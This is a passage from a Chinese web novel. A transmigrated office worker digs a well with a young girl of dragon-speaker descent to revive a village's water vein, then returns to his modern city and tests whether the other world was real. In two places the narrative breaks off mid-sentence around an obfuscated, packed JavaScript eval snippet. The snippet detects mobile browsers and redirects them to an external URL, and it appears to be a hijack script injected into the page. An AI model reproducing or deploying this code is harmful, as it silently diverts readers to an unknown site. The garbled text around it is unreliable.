铁锹一次次砸进干硬的土里,震得林越虎口发麻。汗水顺着额角滑下,滴在滚烫的沙土上,瞬间蒸发成白汽。每挖一锹土,都要用脚全力踩下锹头,再靠腰腹力量撬起——这活儿比他想象中累得多。云瑶默默在一旁用藤筐运土,纤细的手臂已有些颤抖,但她咬着唇,一声不吭。直到夜色完全笼罩四野,两人累得几乎直不起腰,坑却只挖了不到一米深。 林越刚坐下想要接过汤碗,手上却被放上了一块温润的东西,打开手一看,发现竟是自己的玉坠。 “这玉坠本是你之物,后又作为报酬给我。如今你寻得解法,未使我折寿自残,此物……该当还给你。”云瑶轻声说,语气坚定,显然不接受反驳。 林越顿了下,还是收下了玉坠,放进怀中。 林越一边喝汤,一边看着挖的坑,觉得这样光靠两个人挖还不知道要挖到猴年马月,手腕上的黑痕已经蜿蜒延伸至手腕大半部分,显而易见是倒计时。且不说解决清水问题是否可以通关,单说现在的进度就时间紧迫。这里本是旧河道,证明原本经过的地下水应该不会很深,但是浅层的地下水也有10-30米的深度,这显然不是一个半大人能短时间挖出来的,按照现在一人挖井一人运土的协作模式,且为了保证挖开部分不会倒埋,要保证坑直径1.2米左右,一天也不过能挖1米左右,这还不算可能会遇到的流沙层。如果运气好,碰到最浅的地下水层,也是9米左右,那也要9天,那时候别说黑色手环完整走完一圈了,自己尸体都要风干了。 林越不想继续计算时间,让自己更为焦虑,转而思考是否可以找到帮手,毕竟除了自己,应该也没几个傻子愿意相信没有证据的情况下能挖出水来,还没有工钱。所以现在的关键是能证明这样挖能有水,才能找到更多人帮忙挖。 林越喝了一口热汤,让暖流驱散身体的寒意。他盯着眼前的土坑,脑中飞速运转着现代知识。要证明这里有地下水,不能光靠嘴说,得拿出实实在在的证据。 热汤下肚,僵硬的四肢终于恢复了些许知觉。他想起穿越前在纪录片里看过的现代钻井队——轰鸣的机器只需几个小时就能打出几十米深的井,而他们却只能用最原始的工具,像蚂蚁啃骨头一样一寸寸挖掘。这种落差让他苦笑,但随即又振作起来:至少,他还有现代人的思维和知识,这本身就是最大的工具。 首先,可以观察地形和植被。虽然河床干涸,但“断喉之处”的地势明显低于上下游,这是地下水改道后最容易积存的地方。而且,林越注意到这里虽然表面干裂,但裂缝中偶尔能看到一些特殊的苔藓痕迹——那是只有在长期湿润环境下才会生长的品种。虽然现在枯死了,但残留的痕迹就是证据。 其次,可以用最简单的物理方法测试。林越想起小时候在农村见过的“打井师傅”用的土办法:在怀疑有水的地方挖一个浅坑,铺上塑料布,第二天早上看是否有水汽凝结。虽然现在没有塑料布,但可以用油布或厚实的布料代替。更重要的是,云瑶作为龙语者后裔,她的血脉感应本身就是一种“专业认证”。虽然普通人可能不信龙语传说,但可以让她用一些简单的演示来增强说服力——比如用特制的木棍探测地下湿度变化,这在古代被称为“寻龙尺”,虽然原理是地下湿度差异导致木棍轻微弯曲,但足够唬人。 第三,要设计一个“眼见为实”的演示。林越想到可以在这里挖一个更深的探坑,哪怕只有两三米深,如果能挖到明显湿润的土层,甚至渗出少量泥水,那就是最直接的证据。而且,可以设计一个简单的“水汽上升”实验:在坑底点燃干燥的柴草,如果地下有水,上升的烟雾会带有明显的水汽,与在完全干燥地方燃烧的烟雾不同。 但最关键的是如何鼓动人。林越分析着清水镇居民的心理:他们渴望水,但又害怕白费力气。所以不能空口许诺,得设计一个“风险共担,利益共享”的方案。 林越脑中逐渐形成一个计划:第一步,他和云瑶先挖出一个“示范井”,哪怕只有三四米深,只要能挖到明显湿润的土层,就足以证明地下有水。第二步,用这个示范井作为证据,去说服酒肆老板、刘员外等有一定影响力的人。可以承诺,如果挖出水来,他们可以优先获得使用权,甚至可以收取一定的“水费”作为回报。第三步,设计一个“工分制”:愿意来帮忙挖井的人,将来可以按劳动量获得相应的用水配额。这样就把单纯的体力劳动变成了对未来资源的投资。 而且,林越还想到可以利用县官。既然县官重视孝道,可以以“为全镇百姓谋福祉,彰显父母官仁德”为由,请求县官支持。如果县官能出面号召,甚至提供一些简单的工具或粮食作为报酬,那号召力就大不一样了。 不过最现实的还是从酒肆老板入手。酒肆用水量大,老板对水的渴望最迫切。可以先说服他提供一些食物作为“挖井补贴”,吸引第一批劳动力。只要有人开始干,看到希望的人自然会加入。 林越放下汤碗,眼中闪过一丝光芒。他转向云瑶:“我有个想法。明天我们继续挖,但目标不是直接挖出水,而是挖到足够湿润的土层作为证据。同时,你能否用你的血脉感应,给我画一张更详细的水脉图?不需要精确,只要能大致标出地下水层的深度和走向就行。” 云瑶点点头:“可以,但我需要更安静的环境集中精神。” “好。”林越继续说,“然后我们带着证据和图纸回去,先从酒肆老板开始游说。我算过了,如果能有十个人轮流挖,一天就能挖三米以上,最多三天就能见到水。而说服十个人,比说服全镇容易得多。” 云瑶若有所思:“但你怎么保证他们相信?” 林越笑了:“我不需要他们完全相信,只需要他们相信‘有可能’。人就是这样,只要有百分之一的希望,就愿意付出百分之九十九的努力——尤其是当这希望关乎生存的时候。” 他站起身,拍了拍身上的土:“今晚好好休息,明天我们不仅要挖土,还要挖出‘希望’来。” 第二天清晨,天刚蒙蒙亮,林越就被手腕上黑痕的细微灼热感唤醒。他低头一看,那黑色条痕又向前延伸了一小段,现在只剩下不到三分之一的缺口了,时间紧迫。 晨光落在云瑶低垂的睫毛上,映出淡淡的青黑——显然她一夜未眠。云瑶已经醒来,正在对着林越昨晚给的《清水镇地理志》,炭笔在粗布上移动,发出沙沙的轻响,她的眉头时而紧蹙时而舒展,仿佛在与地底深处的脉络对话。林越没有立刻打扰,只是静静看着。这个十四五岁的少女,手腕上疤痕交错,却在此刻显露出一种与年龄不符的专注与坚韧。 林越接过布仔细端详。云瑶的画技粗糙,但意思表达得很清楚:一条粗线从雪顶山方向蜿蜒而下,在“断喉之处”附近形成一个明显的凹陷,然后继续向下游延伸。在凹陷处,她标注了几个深浅不一的圈层。 “这里,”云瑶指着最浅的圈层,“应该是湿润的沙土层,大概三到四米深。再往下五米左右,是黏土层,水应该就储存在这层下面。” 林越眼睛一亮:“也就是说,我们只需要挖到七八米深,就能见到水?” “理论上是这样。”云瑶点头,“但我的感应不一定完全准确。而且,如果黏土层太厚,可能需要挖得更深才能穿透。” “有方向总比盲目挖强。”林越收起布,“今天我们的目标就是挖到湿润土层,拿到证据。” 两人简单吃了些干粮,便开始了新一轮的挖掘。林越负责在坑底挖土,云瑶则用简陋的藤筐将土运到坑外。有了明确的目标,效率明显提高。到了中午时分,坑已经深达快两米。 “停一下!”林越突然喊道。他蹲下身,用手指捻起一撮刚挖出的土。这土与上层的干硬黄土不同,颜色更深,质地也更细腻。“你看这个。” 云瑶凑过来,也捻起一些土放在鼻尖闻了闻:“有潮气。” 林越将土放在手心,用力握紧。当他松开手时,土并没有完全散开,而是保持着一定的形状——这是含有水分的表现。 “就是这里!”林越兴奋地说,“我们挖到湿润层了。按照你的图纸,再往下挖一两米,应该就能看到更明显的湿土。” 两人干劲更足,又挖了两个时辰。当坑深达到三米半时,林越的铁锹突然挖到了一块与众不同的土层。这层土呈深褐色,摸上去冰凉湿润,甚至能捏出水来。 “找到了!”林越将湿土举起来,“这就是我们要的证据!” 云瑶也下到坑底,用手触摸坑壁:“这里的湿度明显增加。如果继续往下挖,应该很快就能见到渗水。” 林越爬出坑,看着手中的湿土,脑中快速盘算着下一步。证据有了,现在需要的是说服力。 “云瑶,你能不能在这里做一个简单的演示?”林越问道,“比如,用你的血脉感应,让普通人也能‘看到’地下有水?” 云瑶思索片刻:“我可以尝试。但需要一些准备。” 她从随身的小包裹里取出几样东西:一根细长的木棍,一些干燥的草药,还有一小块白色的石头。她将木棍垂直插入坑底的湿土中,然后在周围撒上草药,最后将白石头放在木棍顶端。 “这是龙语者用来感应地脉的简易仪式。”云瑶解释道,“虽然不能真正召唤水,但可以让木棍产生轻微的颤动,普通人能看到。” 她闭上眼睛,双手握住木棍下端,口中念念有词。林越注意到,她的手腕上那些纵横交错的疤痕开始微微发红。 几息之后,木棍真的开始颤动。起初很轻微,随后越来越明显,顶端的白色石头甚至发出了细微的嗡鸣声。 “可以了。”云瑶松开手,脸色有些苍白,“这个演示能维持一刻钟左右。” 林越扶住她:“你没事吧?” “只是有些累。”云瑶摇头,“我们得抓紧时间。” 两人带着湿土样本和演示用的木棍,迅速返回清水镇。林越直接找到了酒肆老板。 “老板,尔看这个。”林越将湿土放在柜台上,“我们在‘断喉之处’挖到了这个。” 胖老板凑近看了看,又用手摸了摸,眼睛顿时瞪大了:“这...这是湿土!尔等真的挖到水了?” “还没出水,但已经很近了。”林越指着湿土,“这是从三米半深的地方挖出来的。按照我们的测算,再往下挖三四米,应该就能见到渗水。” 老板激动得手都在颤抖:“需要多少人?需要什么工具?我全力支持!” 林越心中暗喜,表面却保持平静:“我们需要至少十个人轮流挖,还需要更多的铁锹、藤筐。另外,挖井的人需要食物和水,这得您帮忙。” “没问题!”老板拍着胸脯,“我这就去召集人手。食物我包了,每人每天管两顿饭!” 有了老板的支持,事情顺利多了。第二天天不亮,酒肆后院就聚集了十五六个汉子。他们都是镇上的苦力,听说挖井管饭,还有可能解决全镇的缺水问题,都愿意出力。 这些汉子大多是镇上的脚夫、泥瓦匠,个个皮肤黝黑,手掌粗粝。有人小声嘀咕:“这地方真能有水?别是白费力气。”旁边一个年长的啐了一口:“有饭吃就行!总比饿着强!”林越听着,也不辩解,只是将铁锹分发下去。很快,叮叮当当的挖土声响起,黄土一筐筐运出,坑眼见着深了下去。 林越带着众人回到“断喉之处”。他先让云瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119401|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了那个木棍颤动的演示,又让每个人亲手摸了摸湿土样本。眼见为实,众人的疑虑打消了大半。 “各位,”林越站在坑边,大声说道,“这口井挖出来,不仅清水镇有水了,每个参与挖井的人,将来都可以优先用水,而且按劳动量分配用水配额!” 这话一出,众人的积极性更高了。林越将十五个人分成三组,每组五人,轮流下坑挖掘。有了足够的人手和工具,进度飞快。 第一天结束,井深达到了五米多。坑底的土已经湿得能捏出水滴,但还没有见到明显的渗水。 第二天,林越调整了策略。他让一组人在井底继续向下挖,另一组人则从井壁横向挖掘,寻找可能的水脉通道。云瑶则一直在井边感应,随时调整挖掘方向。 到了第二天下午,井深达到八米时,终于有了突破。 “有水了!有水了!”井底传来兴奋的呼喊。 林越急忙下到井底。只见在井壁的一侧,一股细小的水流正从岩缝中渗出,虽然不大,但确确实实是清水! “继续挖这里!”林越指挥道,“把岩缝扩大!” 众人干劲十足,轮流用铁锹和铁钎扩大岩缝。水流逐渐增大,从最初的细流变成了汩汩涌出。到了傍晚时分,井底已经积起了浅浅的一层水。 “成功了!”酒肆老板激动得热泪盈眶,“清水镇有水了!” 消息很快传遍了全镇。越来越多的人来到“断喉之处”,看着井中不断涌出的清水,欢呼声此起彼伏。县官也闻讯赶来,看到井水后,当即宣布免除参与挖井者三个月的赋税。 人群沸腾了。几个老人颤巍巍地跪在井边,老泪纵横,双手合十不停念叨着“河神显灵”。年轻汉子们直接用手捧起井水,咕咚咕咚灌下去,清凉的液体顺着嘴角流下,他们却笑得像个孩子。孩童在人群中钻来钻去,兴奋地尖叫,仿佛过节一般。 林越站在人群中,看着欢腾的场面,心中却有些复杂。他左手腕上的黑痕只剩下最后一丝缝隙,玉坠在怀中微微发烫。他下意识地摸了摸怀里的玉坠,那温润的触感似乎在回应着什么。这枚辗转多人之手的玉坠,最终又回到了他手里,而此刻它正散发着微弱却不容忽视的热度,仿佛与地下涌出的水流产生了某种共鸣。 云瑶走到他身边,轻声说:“你做到了。” 林越点点头:“谢过你。” “该说谢谢的是我。”云瑶看着自己的手腕,那些疤痕似乎淡了一些,“因为你,我没有用龙语就解决了问题,保住了十年寿命。” 林越看着云瑶,这个与他相识不过数日的少女,此刻眼中闪烁着一种释然的光芒。他想说些什么,却不知如何开口。最终只是拍了拍她的肩膀:“好好活着。” 夜幕降临,众人还在井边庆祝。林越独自走到稍远的地方,看着手腕上即将首尾相连的黑痕。他知道,通关的时刻就要到了。他抬头望向星空,心中涌起一股复杂的感觉。这个世界虽然陌生,但他在这里挣扎过,努力过,也帮助过别人。而现在,他终于要离开了。 井水涌出不久,林越感到脚下大地传来细微震动,仿佛有什么古老之物被唤醒。远处干涸的河床裂缝中,隐约传来流水潺潺之声,由远及近……那声音起初细微如丝,渐渐地,越来越清晰,越来越响亮,像是沉睡的巨龙在缓缓舒展身躯。 与此同时,一阵潮湿的微风不知从何处拂来,卷走了空气中常年弥漫的沙尘味。河床深处传来“咔咔”的轻响,那是干涸已久的泥土在水分浸润下缓缓舒展的声音。几株枯死在岸边的芦苇根部,竟隐隐透出了一丝绿意。 就在这时,井中突然传来一声低沉的轰鸣。不是水流声,而是某种更深沉、更古老的声音,仿佛来自大地深处。那声音悠长而浑厚,带着难以言喻的威严,却又透着一丝欣慰,仿佛在庆祝水脉的重生。 云瑶脸色一变:“这是...龙吟?” 井水开始剧烈翻涌,不是向上喷涌,而是向下倒灌,仿佛井底突然打开了一个巨大的空洞。紧接着,整个河床开始震动,从“断喉之处”开始,干涸的河床重新湿润,水流沿着旧河道向下游蔓延。最初只是细小的水流,但很快,水流汇聚成溪,溪流汇聚成河,清澈的水流漫过干裂的河床,滋润着两岸的土地。 水脉复苏了。 林越腕间的黑痕骤然炽热,如活物般缠绕最后一寸皮肤。那黑色的印记仿佛活了过来,在他手腕上缓缓流动,最后的一丝缺口正以肉眼可见的速度闭合。他能感觉到一种奇异的力量正从大地深处涌来,通过他的双脚、身体,最终汇聚到手腕上的黑痕之中。 就在黑痕首尾相连的刹那,他怀中的玉坠迸发出耀眼的青光,那光芒如此强烈,却又如此柔和,仿佛承载着某种古老的祝福。玉坠的嗡鸣声与河床深处传来的龙吟产生共鸣,两种声音交织在一起,形成了一种奇妙的和谐。 那一刻,林越明白了。他帮助的不仅是清水镇,更是修复了这片土地的水脉平衡。龙语者少女的血脉感应、现代人的科学思维、众人的齐心协力——所有这些因素结合在一起,才真正触发了通关条件。这不是简单的生存或逃避,而是真正解决了这个世界的问题,恢复了自然的秩序。 耀眼的白光从玉坠中爆发,笼罩了林越的视野。那光芒并不刺眼,反而像温暖的潮水,将他整个人包裹其中。他能感觉到自己的身体正在变得轻盈,意识正在抽离,仿佛灵魂即将脱离躯壳。 在失去意识前的最后一瞬,他听到云瑶的声音从远处传来,那声音清澈而坚定,带着一丝不易察觉的温柔: “谢过你,林越。愿你在下一个世界,也能找到自己的路...” 白光吞没了一切。 林越的意识沉入了一片温暖的虚无之中。他最后的念头是:下一个世界,又会是怎样的挑战在等着他? 而在他消失的地方,清水镇的河水依然在流淌,欢庆的人群并不知道,那个帮助他们找回水源的年轻人,已经踏上了新的旅程。 16. 归乡幻觉 手腕上的黑色环痕彻底闭合的瞬间,林越没有感到任何疼痛或眩晕。 他最后看到的画面是云瑶那双清澈的眼睛,少女轻轻挥手,用只有他能听到的声音说:“下个世界顺利。” 声音刚落,黑色环痕如潮水般褪去,消融在皮肤下,不留一丝痕迹。 然后—— 不是数据河流,不是霓虹闪烁。 没有失重感,没有空间撕裂的错觉,甚至连传送阵的光芒都没有。 只有一声汽车喇叭的鸣响,尖锐刺耳,把他从恍惚中拽回现实。 柏油马路,汽车尾气,烧烤摊烟熏味混杂着路边绿化带里玉兰花的香气。晚风吹过,带着初夏夜晚特有的微热湿气。 还有手里沉甸甸、热乎乎的……关东煮和烤肠。 林越站在人行道上,茫然地环顾四周。大脑像是刚重启的电脑,系统加载缓慢,每个感官信息都需要时间处理。 视觉:晚高峰的车流堵成一片,红色刹车灯连成光带,像一条流淌的岩浆河。街对面是熟悉的711便利店,白色和绿色的招牌在夜色中格外醒目。旁边是他加班的写字楼,23层的窗户还亮着几盏灯——那是他工位所在的楼层,也是项目组其他倒霉蛋还在奋战的地方。 听觉:汽车引擎的轰鸣,喇叭声,远处商场传来的促销广播,711便利店门口“欢迎光临”的电子音,还有自己有些急促的呼吸声。 触觉:塑料袋提手勒着手指,关东煮杯子的温热透过塑料传到掌心。衣服是早上出门时穿的那套——浅蓝色衬衫,黑色休闲裤,左脚鞋带有点松。 嗅觉:关东煮的汤底味,烤肠的油脂香,汽车尾气的刺鼻,还有自己身上淡淡的汗味——在龙语世界十天没洗澡,回到现实世界倒是干净了,但心理上总觉得还有那股泥土和汗水混合的气味残留。 味觉:他下意识舔了舔嘴唇,干燥起皮。口腔里没有任何异常味道,没有龙语世界那种粗茶淡饭的涩味,也没有乱葬岗泥土的腥气。 “五感……正常。”林越喃喃自语,像在给系统做自检报告。 时间:晚上8点47分。地点:公司楼下十字路口。状态:手里提着711的塑料袋,里面是刚买的关东煮(萝卜、魔芋丝、竹轮)和两根烤肠。 一切和他穿越前一模一样。甚至连脚下那块松动的地砖都还在,踩上去会发出轻微的“咔哒”声——上周他就跟物业报修过,到现在还没人来处理。 “我……回来了?” 林越低头看手腕。黑色环痕消失了。没有红痕,没有任何印记,皮肤干干净净,只有长期敲键盘留下的薄茧,在路灯下泛着淡黄色的光泽。 他抬手摸了摸脖子。 平安扣玉坠不在那里。 心里一沉,像是有块石头掉进胃里。他慌忙伸手进口袋——右边裤兜,指尖碰到冰凉光滑的触感。 掏出来。 温润的白色玉石,中间一个小孔,红绳穿过。正是云瑶还给他的那枚玉坠。 但现在它静静地躺在他手心,没有光芒,没有温度,没有在龙语世界时那种若有若无的脉动感,只是一块普通的玉。 “幻觉?”林越喃喃自语,声音干涩,“加班太累产生的幻觉?还是连续熬夜七十二小时终于猝死前的走马灯?” 他捏了捏玉坠,触感真实坚硬。又捏了捏手里的关东煮袋子,塑料纸窸窣作响,热气传到指尖,烫得他微微缩手。 太真实了。 真实到让人恐惧。 可如果是真的,他怎么可能回到穿越前的时间点?他在龙语世界待了至少十天——挖井、救云瑶、通水脉、被杖毙、被斩首、在乱葬岗等死……那些经历历历在目,每一个细节都刻在记忆里,像是用刀子在骨头上刻出来的。 “梦……”林越苦笑,嘴角扯出一个难看的弧度,“哪有梦会这么疼的。” 他记得斩首台上鬼头刀落下的风声,记得刀刃切开脖颈皮肉时的冰凉触感,记得血液喷涌而出时的温热。他记得杖毙时石板硌着骨头的痛,每一杖下去,骨头都在哀嚎,内脏都在震颤。他记得乱葬岗失血过多的冰冷,身体一点点变凉,意识一点点模糊,最后只剩下一片黑暗。 如果这些都是梦,那他的大脑也太有创意了——创意到能模拟出濒死体验的每一个细节,包括痛觉、温度觉、时间感、甚至死亡逼近时的那种绝望。 不,这不可能是梦。 林越深吸一口气,初夏夜晚的空气带着汽车尾气的味道,灌入肺里,有种熟悉的呛人感。他强迫自己冷静下来,像每次线上服务崩掉时那样——先别慌,收集信息,分析问题,找到根因。 程序员的逻辑本能开始接管:验证,确认,排除错误。把问题分解成可执行的步骤,逐一检查,就像调试一段复杂的代码。 第一步:检查自身变化。 林越没有立刻检查手,而是先做了几个简单的动作测试。他需要一个客观的基准。 他抬起右脚,单脚站立——平衡感正常,没有因为穿越而丧失运动协调性。他原地跳了两下,落地时膝盖微微弯曲缓冲——肌肉记忆还在,体重感觉也和以前一样。 然后他抬起双手,掌心向上,借着路灯的光仔细看。 在龙语世界,他干过不少体力活——劈柴、挑水、挖井。虽然现在手看起来很干净,指甲修剪整齐,皮肤白净(常年坐办公室不见阳光的结果),但…… 林越用拇指用力摩擦食指和中指的指腹。 触感不对。 原本长期敲键盘留下的茧主要集中在指关节和手腕内侧。但现在指腹的皮肤明显变粗糙了,有种细微的砂纸感,像是被磨过一样。他翻转手掌,看手背——手背皮肤细腻,和以前一样。 他又仔细检查每个手指的关节。食指和中指的第二个指关节处,似乎多了一层薄薄的茧,位置刚好是握锄头柄时会摩擦到的地方。 “很好。”他自嘲地笑了,但这笑容里带着一丝确认的果断,“在异世界打了十天工,回来发现自己变成了劳动人民。这算工伤吗?找谁报销?社保局接不接跨世界工伤认定?” 他继续检查身体其他部位。 撩起袖子,看小臂——没有新增伤疤,但肌肉线条似乎……紧实了一点?还是心理作用?他捏了捏上臂,确实比记忆中的手感要硬一些。在龙语世界虽然吃得差,但每天体力劳动消耗大,肌肉有所增长也合理。 他又摸了摸脸。下巴上的胡茬长度正常——如果时间真的过去了十天,胡茬应该长得更长才对。但转念一想,也许穿越回来时身体状态被“重置”到了穿越前的样子,只有那些因为劳动而产生的细微变化保留了下来。 “所以系统只保存了经验值,没保存装备磨损?”林越吐槽道,这种将荒诞处境游戏化的比喻,是他保持理智的方式,“这游戏平衡性做得不错啊。” 他放下袖子,整理好衣服。证据一:双手变粗糙,指关节有薄茧,肌肉紧实。这符合在龙语世界干过十天体力活的身体变化。 第二步:检查物品。 玉坠在口袋里,而不是脖子上。这是最直接的证据。 穿越前,这枚玉坠一直挂在他脖子上,是他妈去旅游时在寺庙里求的。他嫌戴脖子上碍事,平时都塞在衣服里,但绝对不会取下来放口袋——红绳的扣子是个复杂的活结,他妈打的,说是“保平安的结不能随便解”。他试过几次想解开换根绳子,都因为太麻烦而放弃。 现在玉坠却在口袋里。 林越把玉坠放在掌心,用指尖细细抚摸。表面光滑温润,和以前一样。但总觉得……哪里不一样。 他把它举到路灯下,眯起眼睛仔细看。玉石内部的纹理确实更清晰了,那些原本模糊的絮状物现在有了更分明的轮廓,像是水中的墨迹慢慢晕开后又凝固的痕迹。颜色也似乎深了一点点,从原本的奶白色变成了更润泽的月白色。 “升级了?”林越自言自语,“打怪掉经验,装备也跟着升级?这玉坠难道是成长型装备?” 他想起在龙语世界,这枚玉坠曾和龙吟共鸣,发出微弱的光芒。现在它安静地躺在手心,没有任何反应。 林越尝试集中精神,像在龙语世界时那样,试图感知玉坠内部的“脉动”。他闭上眼睛,深呼吸,放空思绪…… 什么都没有。 没有共鸣,没有光芒,没有那种奇妙的连接感。玉坠只是一块普通的玉石,冰凉光滑,死气沉沉。 “看来需要特定环境才能激活。”他得出结论,语气平静,像是在记录一个技术发现,“就像某些APP只能在特定国家使用,跨区就锁功能。这防盗版措施做得挺到位。” 他又检查了其他随身物品。 手机在左边裤兜,电量78%,和他记忆中的数值一致。还有一张过期的健身房会员卡——他办了年卡只去了三次,典型的消费主义陷阱。 所有物品都在原位,没有任何异常。 除了玉坠。 玉坠不仅位置变了,本身也发生了微妙的变化。证据二:玉坠从脖子上转移到口袋,且内部纹理更清晰。 “行吧。”他叹了口气,把玉坠小心放回口袋,这个动作里带着一种接受现实的韧性,“就算要造假,也得有点诚意。至少让时间过去几天啊,这样我还能请个年假,去人力资源部哭诉自己加班加到出现穿越幻觉,说不定能骗到几天带薪病假。” 第三步:检查环境。 他走到711便利店门口,透过玻璃窗看向收银台后的电子钟。 日期:和他记忆中的穿越日完全一致。 时间:8点49分,只过了两分钟。 收银员还是那个总在刷短视频的小哥,货架上的商品摆放得整整齐齐,关东煮机咕嘟咕嘟冒着热气。 “先生,需要加热吗?”收银小哥探头问了一句。 “不用,谢谢。”林越下意识回答,声音恢复了平时的平稳。 他退后几步,靠在街边的路灯杆上,脑子飞速运转。 两个可能: 一、龙语世界的一切都是幻觉,是加班过度导致的妄想症。 二、龙语世界是真实的。他确实穿越了,经历了四次轮回,成功通关。而现在他回到了现实世界,时间点恰好是穿越的那一刻。 哪个更合理? 如果是幻觉,那些细节也太丰富了。语言体系、社会结构、人物性格、物理环境……一个疲惫的大脑能凭空构建出如此完整的世界吗?而且他在龙语世界学到的知识——大炎官话的发音、礼法的规则——现在依然清晰印在脑海里。 如果是真实的,那为什么时间没有流逝? “除非……”林越盯着手里的玉坠,“时间流速不同?异世界十天,现实两分钟?这比例也太夸张了,比游戏里的点卡还贵。” 想不通。 他摇摇头,决定先不想了。当务之急是确认现实世界的情况。 他掏出手机——还好,在口袋里。解锁,屏幕亮起,没有未接来电,没有新消息。微信群里同事们还在吐槽项目进度,朋友圈有人晒晚餐,微博热搜还是那些明星八卦。 一切正常。 不,太正常了。 正常得让人不安。 林越收起手机,提着已经有些凉了的关东煮和烤肠,转身朝家的方向走去。脚步平稳,思绪却不停。 二十分钟后,他站在自家门口。玄关的感应灯自动亮起。 林越没有立刻进去。他站在门口,仔细嗅了嗅空气中的味道——没有陌生的气味,没有异常的声音。一切和他早上出门时一样。 他走进去,关上门,反锁。安全感。脆弱的、自欺欺人的安全感。 第一件事:检查所有房间。 卧室,被子没叠,电脑还开着,屏幕上是他写的代码。卫生间,毛巾挂在架子上,牙刷在漱口杯里。厨房,水池里泡着一个碗(昨晚泡的,还没洗)。 没有入侵痕迹,没有异常物品。 第二件事:检查财务。 林越走到电脑前,唤醒屏幕,登录网上银行。 余额:四万三千七百五十二块六毛三。和他记忆中的数字一分不差。 股票账户:持仓三支股票,总市值八万六,今日盈亏-342元。正常波动。 基金账户、支付宝、微信零钱……所有数字都正常。 他松了一口气,又觉得这口气松得有点可笑——如果真有超自然力量能把他扔到古代世界轮回,难道还会贪图他这点存款吗?这就像担心外星人入侵是为了抢你的泡面一样荒谬。 第三件事:联系亲友。 林越点开微信,在家庭群里发了一条:“爸妈,在干嘛呢?” 几分钟后,老妈回复:“看电视呢,你呢?加班完了没?” “刚下班,准备吃东西。” “记得热一下再吃,别吃凉的,对胃不好。” “知道了。” 典型的母子对话,毫无破绽。 他又给几个朋友发了消息。阿强秒回:“在吃鸡,来不来?”小美没回——她可能在洗澡。老张回了条语音,背景音是孩子的哭声:“刚哄孩子睡觉,累死了。” 一切如常。 第四件事:检查身体。 林越脱掉上衣,站在浴室镜子前。镜子里的人瘦削,肋骨隐约可见,长期坐办公室缺乏锻炼的结果。 身上没有新增的伤疤。但在龙语世界受过的伤——如果真的受过,现在也应该痊愈了,不会留下痕迹。 除了手变粗糙了。 他反复看着自己的双手,越看越确定:这不是错觉。指腹的皮肤厚度、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119402|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹理、甚至某些细微的疤痕位置,都和他记忆中的手不一样。 这双手挖过土,搬过石头,握过锄头。 这双手在龙语世界存在过。 林越靠在洗手台上,长长地、缓缓地吐出一口气,像是要把胸口的郁结都排出去。 证据不足,但直觉已经做出了判断。 不是梦。 不是幻觉。 龙语世界是真实的。他穿越了,死过三次,最后通关回来了。而现在,他回到了现实世界,时间点恰好是穿越的那一刻。 为什么? 不知道。 接下来会发生什么? 也不知道。 但有一点他可以确定:这件事没完。 云瑶那句“下个世界顺利”不是客套话。她知道自己会继续穿越。龙语世界只是开始,是新手教程。现在教程通关了,该进正式服了。 而手腕上消失的黑色环痕……林越抬起左手,对着灯光仔细看。皮肤光滑,没有任何印记。 下一个世界,他可能只有三条命。 不能赌会再次有额外黑色命,更不能赌没有或黑色消失后会出现什么结果。 林越走回客厅,把已经彻底凉透的关东煮和烤肠放在茶几上。他不想吃,没胃口,但也没有浪费食物的打算,只是暂时搁置。 他坐在沙发上,盯着天花板,脑子里开始复盘,像在复盘一个刚上线的、问题百出的项目。 龙语世界的疑点太多了: 黑水组织的目的到底是什么?包子铺老板的账本为什么用疑似龙语的文字?云瑶为什么知道他是穿越者?玉坠为什么能和龙吟共鸣?轮回机制是谁设计的? 这些问题在龙语世界没找到答案,现在回到现实世界,更找不到答案。 但林越有一种强烈的预感:这些谜团不会永远埋藏。它们会以某种方式,在某个时间,再次浮现。 而他要做的,就是做好准备。 他看了一眼手机时间:晚上9点30分。 该洗澡了,该睡觉了,明天还要上班。 想到上班,林越心里涌起一股荒谬感。明天早上九点,他要开站会,要汇报进度,要写代码,要应付产品经理的傻逼需求。而在另一个维度,他刚刚经历了四次生死轮回。 “很好。”他对自己说,语气里带着一种近乎顽强的自嘲,“明天开会的时候,我可以跟产品经理说:你这个需求啊,比我上次被斩首的那个需求还不合理。” 黑色幽默。这是他新学会的心理防御机制,也是一种武器,用来切割现实与荒诞之间的距离。 但林越知道,他今晚睡不着。脑子里信息太多,像是一台过载的服务器。 他起身走到书架前,抽出一本笔记本——以前用来记工作笔记的,还剩一大半空白。 翻开第一页,他拿起笔,写下标题: 《轮回记录与生存指南》 然后开始整理。像写项目文档一样,有条理、有结构、有重点。 从龙语世界的四次轮回开始,每一个死亡原因,每一个关键发现,每一个学到的规则,每一个未解的谜题。 他写得很详细,甚至画了简单的流程图,标注了关键节点和风险点。 写到凌晨一点,手腕酸了,眼睛干了。他停下来,看着密密麻麻的纸页。 这不是梦的记录。 这是生存的蓝图。 林越合上笔记本,走到窗前,拉开窗帘。 城市的夜景依旧璀璨,车流如织,霓虹闪烁。 一切都那么熟悉,又那么陌生。 他摸了摸口袋里的玉坠,冰凉光滑。 “下个世界……”他低声重复云瑶的话,“会顺利吗?” 不知道。 但他知道一件事:无论下一个世界是什么,他都不会再像第一次穿越时那样慌乱、那样被动。 